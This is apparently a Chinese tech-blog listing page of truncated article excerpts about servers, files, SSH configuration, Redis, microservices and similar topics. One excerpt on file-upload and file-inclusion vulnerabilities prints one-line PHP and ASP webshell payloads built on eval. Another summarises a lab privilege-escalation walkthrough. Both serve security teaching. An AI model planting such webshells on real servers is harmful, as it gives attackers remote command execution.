分布式 集群 服务器 文件
Rclone:远端大文件传输
背景 事情是这样的…… 前几天在远端的服务器上进行了一个MPI程序的profile,准确来说是tracing。产生的文件贼大,大约有10G+的样子。问题是境外的服务器和本地直接用sftp连接只有50KB/s左右的连接速度,传这么大的文件多少有点抽象。得到的建议是。可以从服务器传输到网盘,然后再中转到 ......
分布式技术原理与算法解析 01 - 分布式协调与同步
关于 电商系统:最看重吞吐量,为了更多的处理用户访问和订单业务 IoT:最看重资源占用率,在某些设备上资源都是KB级的 电信业务:最看重响应时间、完成时间、可用性,保证通话质量 HPC:最看重加速比,这种计算特带是耗时长 大数据:最看重加速比,处理时间较HPC短,但也到达小时级 云计算:最看重操作耗 ......
ssh远程服务端口修改
Linux修改ssh远程登录配置 常见的ssh配置:修改ssh远程登录端口:将默认端口22改为1022 1.修改ssh服务的配置文件:/etc/ssh/sshd_config ,将 Port 22 改为 Port 1022 保存退出 2.防火墙上开放tcp 1022端口3.重启防火墙与ssh服务 s ......
chrome增加允许跨域调用后台服务
chrome跨域处理,No 'Access-Control-Allow-Origin' header is present on the requested resource的解决方式 ......
VScode连接GPU服务器进行深度学习
VScode连接GPU服务器进行深度学习 最近用台式机跑一些小的深度学习项目,发现越来越慢了,由于一些原因,有时候需要我进行现场作业但是我的笔记本是轻薄本(Thinkpad YYDS)不带显卡,百度了一下发现可以租一台GPU服务器,跑深度学习模型,我自己摸索了一下午终于跑成了一个简单案例,方 ......
Redis主从集群切换数据丢失问题如何应对?
数据丢失的情况 异步复制同步丢失 集群产生脑裂数据丢失 异步复制丢失 对于Redis主节点与从节点之间的数据复制,是异步复制的,当客户端发送写请求给master节点的时候,客户端会返回OK,然后同步到各个slave节点中。 如果此时master还没来得及同步给slave节点时发生宕机,那么maste ......
微服务是什么?
微服务(MicroServices)最初是由 Martin Fowler 于 2014 年发表的论文 《MicroServices》 中提出的名词,它一经提出就成为了技术圈的热门话题。 微服务,我们可以从字面上去理解,即“微小的服务”,下面我们从“服务”和“微小”两个方面进行介绍。 1) 所谓“服务 ......
在右键新建菜单中添加.md文件
你安装的MarkDown编辑器是Typora 在桌面新建一个txt文件 复制粘贴以下代码 Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\.md] @="TyporaMarkdownFile" "PerceivedType"="text ......
服务器之间软件(工具)迁移
背景 经常在一台服务器上安装了一些工具后,然后服务器更换后,有需要重新安装新的工具,很麻烦。 解决 有一种常用的方法是使用一个包管理系统,例如 apt、yum 或者 Homebrew,这种方法可以帮助您快速地安装和管理工具,同时也可以将工具移植到其他服务器上。 以下是一个基本的步骤: 在当前服务器上 ......
02_FourandSix2.01-doas下less命令+vi编辑器提权-7z文件解密
首先有nmap进行信息收集,然后发现开放的22端口ssh服务,另外检收集到nfs文件共享,查看文件共享的信息,发现为everyone所有人可看,利用文件挂载将靶机中的文件挂载到本机,发现问价是一个.7z的压缩包,尝试解压但是压缩文件有密码,根据密码输入错误的解压结果来看发现里面有10个文件,其中八张... ......
springboot自定义文件加载处理
有没有一种场景就是不想把自己的配置参数放在springboot的配置文件(application.properties)里,就想自己定一个自己认为耍酷的名字,比如my-redis.yml,my-mysql.properties等,并且这些文件里面的配置也可以同样的在程序启动的时候加载到运行环境中。确 ......
/etc目录下passwd shadow group gshadow 四个文件中每个字段的含意以及etc目录下login.defs和etc目录下deafult子目录中useradd文件中每个配置项功能说明介绍
/etc/passwd 第一字段 :用户名称(account) 这个字段没什么可说的,就是用户个人的用户名,不过,需要注意的是用户在起名时要遵守相应规范。 第二字段 :密码标识(password) 该字段若是 x ,则代表这个用户设有密码。x 不能省略,如果省略,系统在登录时就不会去 /etc/sh ......
用DiskGenius打开虚拟机磁盘文件vmdk的方法
如何用DiskGenius打开虚拟机磁盘文件vmdk当然此方法也适合虚拟机无法正常启动,但虚拟机里重要文件时可以用此方法将文件复制出来. 1、启动DiskGenius分区工具,根据图上点击 2、浏览到虚拟机系统的安装目录找到虚拟机系统的硬盘文件,扩展名为vmdk 3、当然还包括创建vm,vpc ,v ......
如何在旧手机上搭建网站做文件服务器_ksweb和frp
生活中随着手机的更新换代,我们会有很多不用的旧手机,这些旧手机通常在家里吃灰,用来换不锈钢盆和大剪刀又太可惜了。 本文通过一种行之有效的方法,教你搭建一个可外网访问的24小时在线网站服务器。用到的工具包括KsWeb和Frp,这两个工具使用起来都非常的简单。另外,本文将还用kodExplorer源码为 ......
二项分布与泊松分布
二项分布 基本概念 n次伯努利实验正好出现k次成功的概率为: $$b(k;n,p) = \binom{n}{k}p^kq^{n-k},k=0,1,2,...,n$$ 其他性质上篇已经讲了,这里说新的。 首先是中心项与最可能成功次数。$b(k;n,p)$最大的项被称之为中心项,对应的k称为最可能成功次 ......
10.文件上传和文件包含
文件上传和文件包含 文件上传 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。 一句话木马 PHP: <?php @eval($_POST['cmd']);?> ASP: <%eval request("cmd")%> ASPX: <%@ Page La ......
临时上传服务器搭建 transfer.sh
https://github.com/dutchcoders/transfer.sh transfer.sh Easy and fast file sharing from the command-line. This code contains the server with everything ......
解决vmware安装的centos7和主机win11不能互传文件复制粘贴
虚拟机(M) 安装VMware Tools(T) 一直显示灰色解决:1.打开VMware 开启虚拟机 点击之后立即去 虚拟机(M) 安装VMware Tools(T) 这是后是可以点击的 2.虚拟机centos7 启动好了以后会在可视化桌面上看到VMware Tools,点进去有个VMware To ......
mybatis xml文件热加载实现
本文博主给大家带来一篇 mybatis xml 文件热加载的实现教程,自博主从事开发工作使用 Mybatis 以来,如果需要修改 xml 文件的内容,通常都需要重启项目,因为不重启的话,修改是不生效的,Mybatis 仅仅会在项目初始化的时候将 xml 文件加载进内存。 本着提升开发效率且网上没有能 ......
ghidra---导出数据到文件
Ghidra里,没有比较方便的方法直接导出数据到文件,可以执行python脚本实现。
写了一个Ghidra用的脚本: https://github.com/qux-bbb/ghidra-scripts/blob/master/export_data_to_file.py, 可以复制直接用了,下面... ......
Ajax上传文件Djano后台接收
模态框的编写 <!--按钮 --> <input type="button" class="btn btn-primary change-password-button Avatar" value="更换头像" style="margin-left: 40px"> <!-- 更换头像模态框开始 -- ......
languageservices github action 语言服务
languageservices 是github 团队开源的github action 语言服务,可以实现类似vs code 自动提示的能力,这样可以提高github action的开发速度,代码部分还是值得学习参考的 参考资料 https://github.com/actions/language ......
Spring Cloud Alibaba系列(四)微服务网关Gateway及在网关上用sentinel进行限流熔断
Spring Cloud Gateway是基于Netty,使用Reactor连接方式的,采用非阻塞方式,相比zuul支持更高的并发,且zuul已经停止维护,我们应该使用Gateway来构建微服务应用。 一. 使用nacos实现负载均衡 实际业务场景中,Gateway会和Nacos配合使用来做到负载均 ......
wsl 中 docker-compose 搭建 kafka 集群出现的外部访问错误
在 wsl 中用 docker-compose 搭建了一台 zookeeper + 三台 broker 的 kafka 集群,使用的镜像是 bitnami/kafka,在按照镜像文档运行容器后,发现运行在宿主机里的客户端程序无法正确的推送/消费消息,研究后发现镜像文档只适用于客户端程序和 kafka ......
免费的服务器
福音虚拟主机永久免费使用了我一直想有一个属于自己的网站,但是苦于是新手,又不想花钱去买服务器。主要是怕买了不会用,就浪费掉了。诸多的机缘巧合下我知道了这个网站。 随后我发现了新大陆。竟然可以免费使用。接下来我一路顺这官方的路走下来,顺利的得到了免费虚拟主机和免费云服务器。 网站先放这里 https: ......
JavaSE🔟文件(File)
File:用于代表磁盘中的一个文件或文件夹(未必真实存在), 提供操作文件本身的方法。 1、常用属性 路径分隔符:; pathSeparator ``pathSeparatorChar` 名称分隔符:\ Separator SeparatorChar 抽象路径:path,即创建文件时指定的路径. / ......
consul服务注册
项目结构: admin和demo是两个demo api服务,gateway是一个ocelot网关。 本篇主要说明如何是admin api服务注册到consul中,并且ocelot如何中consul发现该服务。 第一步:在admin api服务配置如下图所示的Consul相关的配置: 第二步:创建一个 ......